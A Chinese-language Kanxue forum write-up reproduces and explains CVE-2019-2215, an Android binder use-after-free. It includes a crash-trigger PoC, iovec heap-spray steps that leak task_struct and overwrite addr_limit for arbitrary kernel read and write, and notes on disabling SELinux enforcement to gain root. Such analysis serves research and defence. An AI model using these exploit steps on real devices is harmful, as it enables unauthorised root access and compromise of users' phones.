CVE-2019-2215復現及分析

2021-02-15 看雪學院

本文為看雪論壇精華文章

看雪論壇作者ID:LowRebSwrd

Pixel 2 with Android 9 and Android 10 preview、Huawei P20、Xiaomi Redmi 5AXiaomi Redmi Note 5、Xiaomi A1、A3、Moto Z3、Oreo LG phones (run according to )、Samsung S7, S8, S9、Kernel 3.4.x and 3.18.x on Samsung Devices using Samsung Android and LineageOS、Pixel 1 and 2, but not Pixel 3 and 3a.It was patched in the Linux kernel >= 4.14 without a CVE, accessible from inside the Chrome sandbox.根據https://bugs.chromium.org/p/project-zero/issues/detail?id=1942公開的poc拿到了任意內核讀寫權限。後續文章https://hernan.de/blog/2019/10/15/tailoring-cve-2019-2215-to-achieve-root/。這個漏洞比較好用,並且利用公開的漏洞能夠root最新機器。基於原始poc代碼任意地址寫的基礎上,在patch kernel繞過了一些緩解機制所做的完整工作,但拿到任意地址的原理、過程並未展開陳述,基於此,筆者開始著手復現並闡述其實現原理以及漏洞利用方法。
#include <fcntl.h>#include <sys/epoll.h>#include <sys/ioctl.h>#include <unistd.h>
#define BINDER_THREAD_EXIT 0x40046208ul
int main(){ int fd, epfd; struct epoll_event event = { .events = EPOLLIN }; fd = open("/dev/binder", O_RDONLY); epfd = epoll_create(1000); epoll_ctl(epfd, EPOLL_CTL_ADD, fd, &event); ioctl(fd, BINDER_THREAD_EXIT, NULL);}

As described in the upstream commit:「binder_poll() passes the thread->wait waitqueue that can be slept on for work. When a thread that uses epoll explicitly exits using BINDER_THREAD_EXIT, the waitqueue is freed, but it is never removed from the corresponding epoll data structure. When the process subsequently exits, the epoll cleanup code tries to access the waitlist, which results in a use-after-free.」

也就是binder_thread->waitqueue,這個鍊表中連接了epoll data結構,但當調用了BINDER_THREAD_EXIT對應的方法,就會導致binder_thread被釋放,當程序結束的時候,epoll相應的結構就會遍歷到此成員,造成uaf。1. open(「/dev/binder」),會創建binder_thread2. epoll_ctl(epfd, EPOLL_CTL_ADD, fd, &event);初始化binder_thread->wait_queue_head_t,調用add_wait_queue插入wait_queue_t到binder_thread.wait中3. ioctl(fd, BINDER_THREAD_EXIT, NULL); 釋放binder_thread結構體4. 程序結束的時候,會遍歷這個鍊表中,觸發uaf。5. 此外,如果調用epoll_ctl(epfd, EPOLL_CTL_DEL, fd,event)也會遍歷到這個鍊表中。a)調用remove_wait_queue,然後刪除wait_queue_t,會遍歷到binder_thread->wait成員(wait_queue_head_t)這樣可以跟4是一樣的效果。寫完poc之後,講解利用之前,不妨看一下內核的基本流程和一些基本概念:1. epoll是select和poll的升級版,應用程式中調用 select() 和 poll() 函數,使進程進入睡眠之前,內核先檢查設備驅動程序上有無對應事件的狀態,此時可通過查看 poll() 函數的返回值。2. 能夠在返回值上使用的宏變量有以下組合:
POLLIN, POLLPRI, POLLOUT, POLLERR, POLLHUP, POLLNVAL, POLLRDNORM,  POLLRDBAND, POLLWRNORM, POLLWRBAND, POLLMSG,  POLLREMOVE POLLIN | POLLRDNORM 表示可讀

POLLOUT | POLLWRNORM 表示可寫 

1、epoll_ctl(epfd, EPOLL_CTL_ADD, fd, &event);會調用binder_poll函數2、/dev/binder綁定了一些系統調用,並且實現了binder_poll,binder_poll中對binder_thread.wait進行了初始化,並調用add_wait_queue(重點)3、其具體調用鏈為EPOLL_CTL_ADD->ep_insert()->binder_poll函數,binder_poll函數會獲取binder_thread結構,調用poll_wait./dev/binder, 會有binder_poll這個調用:binder_poll 調用核心的函數為poll_wait:poll_wait()會調用epq.pt.qproc所對應的回調函數ep_ptable_queue_proc,執行add_wait_queue操作。

 

以上其具體含義為設置pwq->wait的成員變量func喚醒回調函數為ep_poll_callback;並將ep_poll_callback放入等待隊列whead中,ep_poll_callback函數核心功能是當目標fd的就緒事件到來時,將fd對應的epitem實例添加到就緒隊列。當調用epoll_wait()時,內核會將就緒隊列中的事件報告給應用。

 

也就是ep_insert會調用到ep_item_poll->binder_poll->poll_wait。

binder_poll 調用核心的函數為poll_wait

 

主要結構體的初始化都發生在ep_insert->binder_poll中,poll_wait的第一個參數為binder的fd, 第二個參數為binder_thread的wait成員。來看一下它的成員情況:‍
struct binder_thread {    wait_queue_head_t wait;;;;;;;;;;;}struct __wait_queue_head {    spinlock_t        lock;    struct list_head    task_list;};struct __wait_queue {    unsigned int        flags;    void            *private;    wait_queue_func_t    func;    struct list_head    task_list;};

‍當調用一次add_wait_queue增加wait_queue_t


epoll_create函數以上成員如何初始化的呢?需要了解epoll_create函數,open(「/dev/binder」)進入內核會調用binder_open分配binder_proc結構體,epoll_create會調用ep_alloc,對成員進行初始化。在這個鍊表中,有兩種數據結構:等待隊列頭(wait_queue_head_t)和等待隊列項(wait_queue_t)。等待隊列頭和等待隊列項中都包含一個list_head類型,由於我們只需要對隊列進行添加和刪除操作,並不會修改其中的對象(等待隊列項)一開始它是INIT_LIST_HEAD(&q->task_list); next,prev指針分別指向自己。


EPOLL_CTL_DELepoll_ctl(epfd, EPOLL_CTL_DEL, fd, &event);函數相對比較簡單,會調用remove_wait_queue

2. Time of check time of use,簡稱toctou,堆噴完,中間會有一個等待時機,阻塞住內核,可以繞過check,內核的數據通過漏洞已經被改寫,然後再use,可以轉化為任意地址讀或者寫。

既然看完了內核的追溯過程,回到poc本身如果是binder_thread結構體的釋放,並且是uaf,就會離不開堆噴。

 

其內核的源碼追溯如下:

 

readv和writev內部會調用kmalloc分配空間,內部採用分散讀(scatter read)和集合寫(gather write),內核都會調用到do_loop_readv_writev函數。

可以參考retme的https://speakerdeck.com/retme7/the-art-of-exploiting-unconventional-use-after-free-bugs-in-android-kernel。ssize_t readv(int fd, const struct iovec *iov, int iovcnt); ssize_t writev(int fd, const struct iovec *iov, int iovcnt);也會再開始調用rw_copy_check_uvector,其源碼如下:調用kmalloc分配大小,然後根據iov_base依次進行寫入或者讀取iov_len長度的內容。
struct iovec{     void __user *iov_base;    /* BSD uses caddr_t (1003.1g requires void *) */     __kernel_size_t iov_len; /* Must be size_t (1003.1g) */};

關鍵要理解的是隨著readv和writev調用kmalloc分配完相應的對象,並對之前free掉的object進行佔位時,會等待write和read的調用,中間會有一個時機是觸發漏洞的時機,以方便對iov_base的修改。從這裡開始分析如何從poc轉變為kernel的任意地址讀寫,至於任意讀寫之後到拿到root部分因為網絡資料較多,暫不分析。所使用的手機環境為pixel 2,linux內核版本tag為4.4.116-gbcd0ecccd0401. 觸發漏洞,通過創建pipe,writev(堆噴)和read配合使用,洩露task_struct地址。2. 觸發漏洞, 創建socket,readv(堆噴)和write配合使用,實現patch addr_limit內核變量,打開任意內核地址讀寫。注意:這兩步都會重新觸發漏洞,每一步兩個函數的之間的調用是有時間差的,並且都會等待下一個函數的開始調用,比如writev會等待read的調用,否則一直阻塞,所以會fork子進程之前會有sleep的動作,以保證執行的先後順序,fd(文件描述符)之間可以父子進程共享。先看第一步:leak_task_struct,觀察step1-6(按時間先後順序)的運行,放大圖片來觀看:1. EPOLL_CTL_ADD會調用add_wait_queue;2. BINDER_THREAD_EXIT釋放binder_thread;3. 調用writev堆噴大小一樣的binder_thread結構體;4. 調用EPOLL_CTL_DEL即remove_wait_queue對鍊表進程刪除,會造成iov_base的修改;5. 然後調用read,繞過內核的檢查,讀取iov_base的內容,即造成內核地址數據的洩露。數據成員指向了自己,read的時候讀出了內核地址。之前的漏洞利用都是通過readv進程堆噴,已經檢查過iov_base,沒有數據,會一直阻塞,這時候會等待write的到來,然而中間的某個時刻會觸發漏洞改變iov_base為kernel address,然後進行write,可以往kernel_address寫入內容,實現內核地址寫,而這種相反的方式擴大了一些苛刻場景的漏洞利用,達到了繞過kalsr的技巧。
iovec_array[IOVEC_INDX_FOR_WQ].iov_base = dummy_page_4g_aligned;iovec_array[IOVEC_INDX_FOR_WQ].iov_len = 1;iovec_array[IOVEC_INDX_FOR_WQ + 1].iov_base = (void *)0xDEADBEEF;iovec_array[IOVEC_INDX_FOR_WQ + 1].iov_len = 0x8 + 2 * 0x10;iovec_array[IOVEC_INDX_FOR_WQ + 2].iov_base = (void *)0xBEEFDEAD;
iovec_array[IOVEC_INDX_FOR_WQ + 2].iov_len = 8;

當epoll_ctl(epfd, EPOLL_CTL_DEL, binder_fd, &event);調用完畢
iovec_array[IOVEC_INDX_FOR_WQ].iov_len = &(binder_thread->wait+8)                 iovec_array[IOVEC_INDX_FOR_WQ + 1].iov_base =&(binder_thread->wait+8)

這時候write調用開始連續寫入iov_base.寫入的內容如下:
unsigned long second_write_chunk[] = {    1, /* iov_len */    0xdeadbeef, /* iov_base (already used) */    0x8 + 2 * 0x10, /* iov_len (already used) */    current_ptr + 0x8, /* next iov_base (addr_limit) */    8, /* next iov_len (sizeof(addr_limit)) */    0xfffffffffffffffe /* value to write */  };

注意因為在//step 2 write(socks[1], "X", 1) 已經提前寫入長度為1的值,所以對iov_len的修改後期並沒有起作用,否則將會拷貝iovec_array[IOVEC_INDX_FOR_WQ].iov_len = &(binder_thread->wait+8) 長度的數據到dummy_page_4g_aligned。然後step 5中write(socks[1],second_write_chunk,sizeof(second_write_chunk))開始對iovec_array[IOVEC_INDX_FOR_WQ + 1].iov_base =&(binder_thread->wait+8)這個地址進行寫入,長度為0x8 + 2 * 0x10這時候binder_thread的內部數據發生變化:
binder_thread.wait.task_list.next = 1 //iov_lenbinder_thread.wait.task_list.prev = 0xdeadbeef //basebinder_thread.x1 = 0x8 + 2 * 0x10  //lenbinder_thread.x2 = current_ptr + 0x8//basebinder_thread.x3 = 8

iovec_array[IOVEC_INDX_FOR_WQ + 2].iov_base = (void *)0xBEEFDEAD;
iovec_array[IOVEC_INDX_FOR_WQ + 2].iov_len = 8;

因為這iovec_array是堆噴的數據,它其實相當於binder_thread.x2的內容,已經由0xBEEFDEAD修改成current_prt+0x8了,這時候second_chunk只剩下最後一個值0xfffffffffffffffe,然後繼續write(fd,current_prt+0x8, 0xfffffffffffffffe),達到patch addr_limit,從而實現任意內核寫,拿到root:這裡需要注意的是:int recvmsg_result = recvmsg(socks[0], &msg, MSG_WAITALL); MSG_WAITALL的標誌起到了等待write調用的完成,也就是一直會等待下去。通過任意地址寫,patch task_struct的一些內核變量,達到uid=0的效果,這裡寫入sid會被阻塞,可能被seilnux禁止,應當先將selinux_enforcing內核變量設置0繞過selinux,然後拿到真正的root。在pixel 2機器復現了:Android 9系統嘗試獲取root1. 崩潰地方在spin_lock_irqsave(&q->lock,flags),2. readv和write調用,會將所有的內容寫入dummy_page_4g_aligned中,可能內核read和write實現的機制不同,但這部分還未分析。
diff --git a/lib/vsprintf.c b/lib/vsprintf.cindex 0a51559..279d5ff 100644--- a/lib/vsprintf.c+++ b/lib/vsprintf.c@@ -1514,7 +1514,7 @@ char *pointer(const char *fmt, char *buf, char *end, void                case 3: /* restrict all non-extensioned %p and %pK */                case 4: /* restrict all non-extensioned %p, %pK, %pa*, %p[rR] */                default:-                       ptr = NULL;+                       //ptr = NULL;                        break;                }                break;

或者echo 0>/prcoc/sys/kernel/kptr_restrict也可以。dmsg或者cat /proc/kmsg log列印不友好或者斷斷續續,可以cat /dev/kmsg分別在add_wait_queue,remove_wait_queue和binder_free_thread函數插入前後的log並以進程名字為過濾,指針有可能會被其他的值覆蓋,所以最好不要用%p,否則內核會崩潰在自己寫的log上。此次漏洞由syzcaller產生,主要在於設備實現了binder_poll函數,binder_poll函數內部使用了binder_thread結構成員,但未考慮binder_thread結構如果已經釋放的情況下,epoll機制仍然使用其中的成員,導致的uaf,其patch在釋放binder_thread結構提前會對epoll上的鍊表進行清理,其漏洞利用特點來看,是tocttou的升級利用,衍生出了某些條件下可以遇到uaf,或者heap overflow這類漏洞實現信息洩露和繞過kalsr的有效機制。在free binder_thread的時候會對wait_queue_head進行處理,置0。https://bugs.chromium.org/p/project-zero/issues/attachmentText?aid=414028https://bugs.chromium.org/p/project-zero/issues/detail?id=1942https://bugs.chromium.org/p/project-zero/issues/attachmentText?aid=414030https://bugs.chromium.org/p/project-zero/issues/attachmentText?aid=414885https://elixir.bootlin.com/linux/latest/ident/POLLFREEhttps://pacsec.jp/psj17/PSJ2017_DiShen_Pacsec_FINAL.pdfhttps://github.com/externalist/exploit_playground/blob/master/CVE-2016-2434/exploit_CVE-2016-2434_commented.chttps://www.google.com.hk/url?sa=t&rct=j&q=&esrc=s&source=web&cd=5&ved=2ahUKEwit3fb2zLHlAhWNF6YKHX_DC1UQFjAEegQIAhAB&url=https%3A%2F%2Fsecurityaffairs.co%2Fwordpress%2F92633%2Fhacking%2Fcve-2019-2215-zero-day-exploit.html&usg=AOvVaw2ItkF7ngwGi8z6SfNtHj3xhttps://www.cppfans.org/1418.html

看雪ID:LowRebSwrd

https://bbs.pediy.com/user-home-726411.htm

  *本文由看雪論壇 LowRebSwrd 原創,轉載請註明來自看雪社區。

相關焦點

  • 乾貨 | CVE-2019-2215 Anroid 10復現及原理
    後續的文章https://hernan.de/blog/2019/10/15/tailoring-cve-2019-2215-to-achieve-root/,這個漏洞比較好用,並且公開的漏洞中能夠root最新的機器。
  • SUMAP網絡空間測繪|2021年CVE漏洞趨勢安全分析報告
    對於今天的網際網路安全我們更需要通過模型監測方式來持續觀察漏洞趨勢和影響範圍,才能持續應對漏洞爆發之後的安全趨勢分析評估。 本文主要通過網絡測繪角度手機各種資產協議的版本號信息,通過比對cve漏洞影響範圍中的版本號方式進行安全風險趨勢分析,無任何實際危害網際網路行為。資產在攜帶版本中也會存在修復補丁後版本不變的情況。
  • Edge CVE-2017-0234 漏洞復現與利用
    [i]=num;}var buffer = new ArrayBuffer(0x10000);var view = new Uint32Array(buffer);write(0,0x4000,1,0x1234);write(0x3000000e,0x40000010,0x10000,1851880825);首先對POC內容簡單分析一下
  • CVE-2017-11882復現及防禦
    復現過程實驗環境:win7 + office2007 win xp + office2003在復現過程中,察覺到是使用 hta 進行命令執行利用,推測攻擊機作為 hta_server,然後嘗試在 msf 搜索 hta,發現一個模塊的實現效果跟 PS_shell 一樣,接下來開始演示一下:
  • Yii2 反序列化漏洞復現分析
    web.php文件17行cookieValidationKey,可以隨便定義然後進入目錄php yii serve啟動接著添加一個存在漏洞的Action生成poc,poc.php發送請求,環境搭建成功3、漏洞分析
  • CVE-2020-14882&14883weblogic未授權命令執行漏洞復現
    WebLogic 12.1.3.0.0WebLogic 12.2.1.3.0WebLogic 12.2.1.4.0WebLogic 14.1.1.0.0環境搭建此處利用vulhub的環境進行復現image: vulhub/weblogic:12.2.1.3-2018ports:- "7001:7001"執行以下命令會下載鏡像並以此鏡像啟動一個容器,映射的埠為7001docker-compose up -d漏洞復現
  • 【法檢】報名2215人!繳費人數975人!
    2020重慶法檢考試報名人數統計前四天報名總人數僅有2215
  • 復現造句和解釋_復現的例句有哪些-小孩子點讀
    復現(fù xiàn)。 復現參考例句: 1、實現標題預示性的手段是段落、主題句和微主題復現。 2、難得露面的白鰭豚,無翼夜行的幾維鳥,絕跡復現的泰卡雞,渾身清香的樹袋熊。
  • 深入研究VBScript—CVE-2018-8174利用分析
    所有這些都有利於分析。運行反彙編腳本的最佳位置是CScriptRuntime :: RunNoEH函數,它直接解釋p代碼。總結我們的腳本將VBScript編譯成p代碼,在字節碼級別啟用VBScript調試,這有助於分析漏洞利用並了解VBScript的運行方式。此腳本位於我們的Github存儲庫。CVE-2018-8174的案例表明,當內存分配具有高度可預測性時,use-after-free漏洞很容易被利用。野外攻擊針對舊版Windows。
  • 通過CVE-2017-17215學習路由器漏洞分析,從入坑到放棄
    原標題:通過CVE-2017-17215學習路由器漏洞分析,從入坑到放棄*本文作者:kczwa1,本文屬FreeBuf原創獎勵計劃,未經許可禁止轉載。看起來是個很簡單的漏洞了,書上得來終覺淺,須知此事要躬行,復現和分析的過程中遇到很多坑,寫文記錄一下詳細步驟。華為已經發了漏洞公告,固件已經升級到HG532eV100R001C02B017_upgrade_main.bin。從論壇裡找到了帶漏洞版本件,HG532eV100R001C02B015_upgrade_main.bin。分析環境是ubuntu16.04.
  • 最新 | 法檢報名2215人!六個崗位無人報考
    2020重慶法檢考試報名人數統計前四天報名總人數僅有2215
  • 2215人!2019上海綜評名單發布,完成招生98.58%,實際錄取率62.31%
    近日,上海綜合評價錄取名單正式公布,總共錄取2215人,原計劃數為2247人,計劃數完成比例98.58%。2019年交通大學綜合評價錄取人數為590人,計劃錄取人數590人,計劃完成比例100%。2019年上海交通大學醫學院綜合評價錄取人數為125人,計劃錄取人數125人,計劃完成比例100%。
  • CVE-2017-11882及利用樣本分析
    CVE-2017-11882及利用樣本分析1.本文由複眼小組ERFZE師傅原創2.本文略微偏向基礎,首先介紹了該漏洞的成因
  • 技術乾貨 | CVE-2017-12824及利用樣本分析
    筆者復現及分析環境基於InPage 2010:0x02進攻分析0x02.1進攻描述該突破本質是越界讀(Out-Of-Bound Read),InPage在處理文檔中的InPage100流時未對需要處理的數據類型(類型)進行有效檢查,而該範圍可以由攻擊者設置一個超出
  • CVPR論文經不起復現推敲?是學術會議水了還是我飄了
    最近,在 Reddit 上一個「較真」的網友就對 CVPR2018 的一篇大會接收論文進行復現,發現了其中的問題。此貼在 Reddit 上引發了眾人的熱烈討論,其中包括對學術會議同行評審機制的審視。作者稱這種做法表現良好,但我的復現結果並不理想,因此我決定對其進行測試。作者提供了他們用的代碼,但是經過仔細檢查,我發現他們的測試準確率計算有誤,導致得出的所有結果無效。」
  • CVE-2020-0423 Android內核提權漏洞分析
    官方給出影響的版本在Android 8-11之間,詳細的英文文章請參考這裡https://blog.longterm.io/cve-2020-0423.html。參考https://blog.longterm.io/cve-2020-0423.htmlKSMA: Breaking Android kernel isolation and Rooting with ARM MMU features - ThomasKinghttps://i.blackhat.com/briefings/asia/2018/asia-18-WANG-KSMA-Breaking-Android-kernel-isolation-and-Rooting-with-ARM-MMU-features.pdfMitigations
  • 運用詞彙的重現或者復現關係
    5.運用詞彙的重現或者復現關係 詞彙的重現或者復現關係是英語知識運用考查的一個方面。它是指某一詞以原詞、指代詞、同義詞、反義詞、上義詞(animal是tiger上義詞)、概括詞等重新出現在整個文章的前後,整個文章因為它的出現而得到了銜接。
  • 用Keras復現DCN算法
    可是DCN算法並沒有keras的實現代碼,而我之前也沒有用過keras,導致用keras復現DCN算法耗費了我一周多的時間,不過經過了一周的折騰,也算基本熟悉了keras的使用。keras由於過於的強調易用性,以及受制於tensorflow等底層框架的機制影像導致開發簡單應用很容易但是如果做復現最新論文算法的定製開發就會比較困難,而pytorch就比較好的平衡了易用性以及拓展性,用pytorch來實現上述功能則比較簡單,這也是pytorch應用越來越受歡迎的原因吧。不過由於實驗室之前的代碼都是用keras寫的,這裡的DCN算法也要用keras來實現。
  • Golang TLS雙向身份認證DoS漏洞分析(CVE-2018-16875)
    原文作者:apisecurity翻譯來源:安全客原文連結:https://apisecurity.io/mutual-tls-authentication-vulnerability-in-go-cve-2018-16875/譯文連結:https://www.anquanke.com
  • 通達OA低版本兩個文件上傳復現
    基本都是把已經復現成功的記錄下來了,沒復現成功的就沒寫,還在慢慢的積累。這次我復現的是兩個文件上傳漏洞。通達OA2015和通達OA2013都存在這個漏洞。如果通達OA的漏洞我復現完了,我會把報告分享出來的。嘿嘿嘿微信號:jiangdaren000(歡迎各位師傅加好友探討)